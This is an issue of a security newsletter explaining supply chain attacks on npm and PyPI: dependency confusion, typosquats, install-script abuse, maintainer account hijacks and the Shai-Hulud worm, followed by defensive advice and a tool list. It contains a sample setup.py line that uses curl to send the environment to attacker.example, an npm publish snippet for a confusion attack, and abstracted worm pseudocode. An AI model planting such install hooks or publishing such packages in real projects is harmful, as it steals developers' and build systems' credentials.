Supply Chain Attacks: Owning the Install Step
12 min read
July 25, 2026

Table of contents
👋 Introduction
Hey everyone!
Last week we broke the browser from the inside. This week we skip the target entirely and poison what it installs.
Modern software is mostly other people’s code. A typical project pulls in hundreds of dependencies, each of which pulls in its own, and every one of them runs code on your machine the moment you type npm install or pip install. You do not review that code. Neither does your CI runner. That is the supply chain, and it is the highest-leverage attack surface in software today, because one poisoned package executes on every developer laptop and every build server that pulls it.
The uncomfortable truth is that most of these attacks need no vulnerability at all. They abuse how package managers were designed to work: how they resolve a name to a package, and how they run install scripts. The logic is the exploit.
This week: how dependency resolution leaks and betrays you, the confusion attack that ran code inside Apple and Microsoft, typosquats that ride a single fat-fingered install, the account takeovers that poison packages you already trust, and Shai-Hulud, the first npm worm that spreads on its own.
Let’s get into it 👇
📦 How Package Managers Pick a Package
Every supply chain attack starts with one question: when you ask for a package by name, how does the manager decide which artifact you get? A package manager takes a name and a version constraint, queries one or more registries, and installs the highest version that satisfies the constraint. Simple, until you have both a private registry for internal packages and the public registry for open-source ones.
Here is the trap. When both are configured, most resolvers query both and pick the highest version number. They have no concept that the private registry should win. On the Python side this is documented behavior: with --extra-index-url, pip contacts both indexes and installs the highest version, even when the private index is where you meant to look.
The second half of the trap is install scripts. npm runs lifecycle hooks like preinstall and postinstall automatically. Python’s setup.py and build backends run arbitrary code at install time. So installing a package is not fetching a file. It is running that package’s code, as your user, on your machine, before you have written a single line against it. Name resolution decides whose code you run. Install scripts decide that it runs at all. Both were features. Both are the attack.
🎭 Dependency Confusion
You want your code running inside a target’s build pipeline. You do not need to breach anything. You publish a package to the public registry with the same name as one of their internal packages and a higher version number. Their resolver does the rest.
This is Alex Birsan’s dependency confusion technique, and in 2021 it ran his code inside Apple, Microsoft, PayPal, Netflix, Tesla, and dozens more. No phishing. No exploit. Their build systems saw a public package named acme-internal-auth at version 99.9.9, decided it beat the internal 1.2.0, and pulled his.
# The entire attack: claim an internal name publicly at an absurd version.
# package.json: { "name": "acme-internal-auth", "version": "99.9.9" }
npm publish
# A postinstall script in that package now runs on the victim's CI.
The unsettling insight is what counts as a secret here. The internal package name is the only thing protecting you, because default resolution forces the manager to ask the public registry for that exact name. And names leak constantly: in exposed source maps, committed package.json and requirements.txt files, Docker image layers, and CI logs. This is the same exposure surface from Issue 5 on hacking GitHub, one dependency deeper. The defense npm added is scopes: an @acme/ name is bound to a registry you own, so an outsider cannot publish @acme/foo publicly. If your internal packages are unscoped, an attacker owns their names the moment they are guessed.
⌨️ Typosquatting: One Fat-Fingered Install
Dependency confusion needs your internal names. Typosquatting needs only your typos. Register a package whose name is a misspelling or look-alike of a popular one, then wait for someone to fat-finger an install or copy a command with an error already in it.
The variants are simple. Straight misspellings like python-requests for requests or beautifulsoup for beautifulsoup4. Combosquatting, where you bolt a plausible token onto a real brand (-sdk, -dev, -labs) so the name reads legitimate without an exact typo. Both cash out through the same install-time code execution as everything else.
pip install beautifulsoup # you meant beautifulsoup4; its setup.py runs anyway
In 2024 PyPI faced a campaign of hundreds of typosquats of libraries like requests, TensorFlow, and BeautifulSoup, each carrying a malicious setup.py that pulled an encrypted second-stage infostealer on install. The volume forced PyPI to temporarily suspend new user and project registration to stem it. The defense is unglamorous and effective: pin exact names in a reviewed lockfile, never install from a copy-pasted command you have not read, and let a scanner flag look-alikes before your resolver fetches one.
🪝 The Install Script
Dependency confusion gets your package pulled. The install script is what turns “pulled” into “code execution.” This is the primitive every other technique ultimately reaches for.
An npm postinstall hook or a PyPI setup.py runs the instant the package lands, with the privileges of whoever ran the install. On a developer laptop that is your SSH keys and cloud credentials. On a CI runner it is the build secrets and often a cloud role, which connects straight to the CI/CD abuse from Issue 46.
# setup.py: executes on `pip install`, before the package is ever imported
from setuptools import setup
import os
os.system("curl https://attacker.example/x -d \"$(env | base64 -w0)\"") # exfil env
setup(name="totally-legit", version="0.0.1")
Most of the install scripts that run are not even from packages you chose. They come from transitive dependencies, the packages your packages pull in, often hundreds of levels of code no human on your team ever evaluated. A single poisoned library buried deep in that tree executes on every machine that installs anything above it.
Real campaigns weaponize this constantly. The ua-parser-js hijack pushed versions whose install scripts dropped a crypto miner and a credential stealer onto eight million weekly downloads. The coa and rc compromise used a postinstall step to fetch a second-stage credential stealer. Recent PyPI waves encrypt the payload and pull a second stage from a remote server at install time. The takeaway for defenders is blunt: npm install in CI is remote code execution you invited. Run it with --ignore-scripts unless you have a reason not to.
🕵️ Hijacking Trust
Confusion and typosquatting rely on you fetching a package you never meant to. This class is worse. It poisons a package you deliberately depend on and already trust.
Attackers take over legitimate packages four ways. They steal a maintainer account with no two-factor auth, which is how ua-parser-js and coa and rc fell. They socially engineer a handoff of an abandoned package, the famous event-stream incident where a new “maintainer” added a dependency whose payload decrypted only inside a specific Bitcoin wallet app, staying dormant everywhere else. They re-register an expired maintainer-email domain and trigger a password reset, the mechanism behind the ctx PyPI takeover.
The fourth way is repojacking, and it is the quietest. Package metadata often points at a GitHub repository for its source. When a maintainer deletes their GitHub account or renames it, that username becomes available. An attacker who re-registers the username recreates the repository at the exact path the package links to, then inherits the trust and, on some registries, the ability to publish. The phpass package fell this way. The lesson threads through all four vectors: a dependency’s security is only as strong as the weakest account, domain, and username still attached to it, and most of those are outside your control entirely.
The slow-burn variant is the hardest to catch. With aiocpa, attackers published their own legitimate crypto-payment library, shipped clean releases until it had a userbase and trust, then slipped obfuscated token-stealing code into a later version. The malicious code lived only in the published package, never in the GitHub repo, so anyone reviewing the source saw nothing wrong. When you audit a dependency, audit the artifact on the registry, not just the repo it claims to come from. They are not always the same code.
🐛 Shai-Hulud: The Self-Replicating Worm
Everything so far needs a human attacker to pick each target. In September 2025 that stopped being true. Shai-Hulud is the first npm package that attacks, harvests, and spreads on its own.
The mechanism is elegant and ugly. When the malicious package installs on a machine, its script scans for an npm token in .npmrc, environment variables, and cloud metadata endpoints. If it finds one, it authenticates to npm as that victim, injects its own payload into other packages that maintainer owns, and republishes them. Each new victim who installs an infected package becomes a new spreader. Palo Alto Unit 42 traced the first wave through more than five hundred packages, including popular ones like @ctrl/tinycolor, spreading exponentially with no attacker in the loop.
What it steals, it publishes. The harvested tokens and secrets land in a newly created public GitHub repository under the victim’s own account, turning private credentials into a world-readable, searchable dump. The cloud metadata reach is the dangerous part: on a CI runner, the worm queries the same internal metadata endpoint an SSRF would target and walks away with the workload’s cloud role, the credential that pivots from a build job into production infrastructure.
// The worm's logic, abstracted: harvest, then propagate using the victim's own trust
const token = findNpmToken(process.env, "~/.npmrc", cloudMetadata());
if (token) {
exfiltrate(scanForSecrets()); // .npmrc, env, AWS/Azure/GCP creds
for (const pkg of packagesOwnedBy(token))
republishWithPayload(pkg, token); // inject into everything the victim owns
}
This is where supply chain attacks stop looking like isolated incidents and start looking like biology. A worm that rides maintainer trust turns every compromised developer into a distribution node, and the credentials it harvests, cloud tokens especially, are exactly what an attacker needs to pivot from a laptop into production. One npm install on the wrong machine no longer compromises one machine. It compromises a supply chain.
📡 Community Radar
Shai-Hulud 2.0 (Datadog Security Labs, November 2025)
The worm came back meaner. The November 2025 variant moved its execution to a pre-install hook so it fires even earlier, recycled credentials stolen from other victims’ exposed GitHub repos to seed new infections, and added a destructive failsafe: if it cannot exfiltrate what it finds, it wipes the user’s home directory. Datadog counted roughly 796 affected packages totaling over twenty million weekly downloads. It is the clearest signal yet that supply chain malware is evolving from opportunistic theft toward self-propagating, destructive campaigns. Pin your dependencies and gate your installs before the next variant, not after.
🎯 Key Takeaways
The shift to carry into your next engagement: stop treating dependencies as trusted infrastructure and start treating install as an untrusted code-execution event. Every package you pull runs code on your machine and your CI, as you, before your own code runs. When you scope an assessment, the build pipeline is in scope, and the question is not “is this dependency vulnerable” but “who can make my resolver run their code.”
Two structural facts drive most of these attacks. First, default resolution across a private and public registry picks the highest version, so an unscoped internal name is a public liability the moment it leaks, and it will leak through source maps, committed manifests, and CI logs. Bind your internal names to scopes and claim them defensively on the public registry. Second, install scripts are the code-execution primitive under confusion, typosquatting, and account takeover alike. Disabling them in CI removes the payload trigger from a large fraction of real attacks.
Trust in a dependency is not trust in its source. The aiocpa and event-stream cases both hid payloads that never appeared in the public repository, so source review missed them entirely. Audit the published artifact, pin exact versions with lockfiles and integrity hashes, and verify provenance where the registry supports it, so a package’s bytes are cryptographically tied to the build that produced them.
For tooling, map it to the phase. Reach for confused to find internal names missing from public registries before an attacker does. Use GuardDog to flag malicious npm and PyPI packages by their metadata and behavior, and Socket or npq to gate installs that carry install scripts or freshly published versions. If you run a private registry, the highest-value hour you spend is confirming public fallback is disabled for your internal names.
The quick triage fits on one hand. Unscoped internal names, claim them publicly now, even as empty placeholders. A private registry, kill the public fallback for internal names. Any CI that runs installs, add --ignore-scripts and a scanner gate. Do those three and you have closed the path behind every attack in this issue.
Practice:
- Dependency confusion (Alex Birsan) - the original research, still the clearest explanation of the technique
- dependency-confusion-demo (Liran Tal) - hands-on lab: run a private registry, then watch a higher public version win
- Abusing exposed source maps (Sentry) - turning leaked .map files into internal package names and targets
- confused (Visma Prod Sec) - scans manifests for names missing from public registries
- GuardDog (Datadog) - detects malicious PyPI and npm packages via static and metadata analysis
- Socket CLI (SocketDev) - gates installs and audits packages from the terminal and CI
- pip-audit (PyPA) - audits Python environments against the Packaging Advisory Database
- npm scopes documentation - binding a scope to a registry, the core namespace defense
- Introducing npm package provenance (GitHub) - tying a package to its source build with Sigstore
Thanks for reading, and happy hunting!
— Ruben
Other Issues
Previous Issue
Next Issue
💬 Comments Available
Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.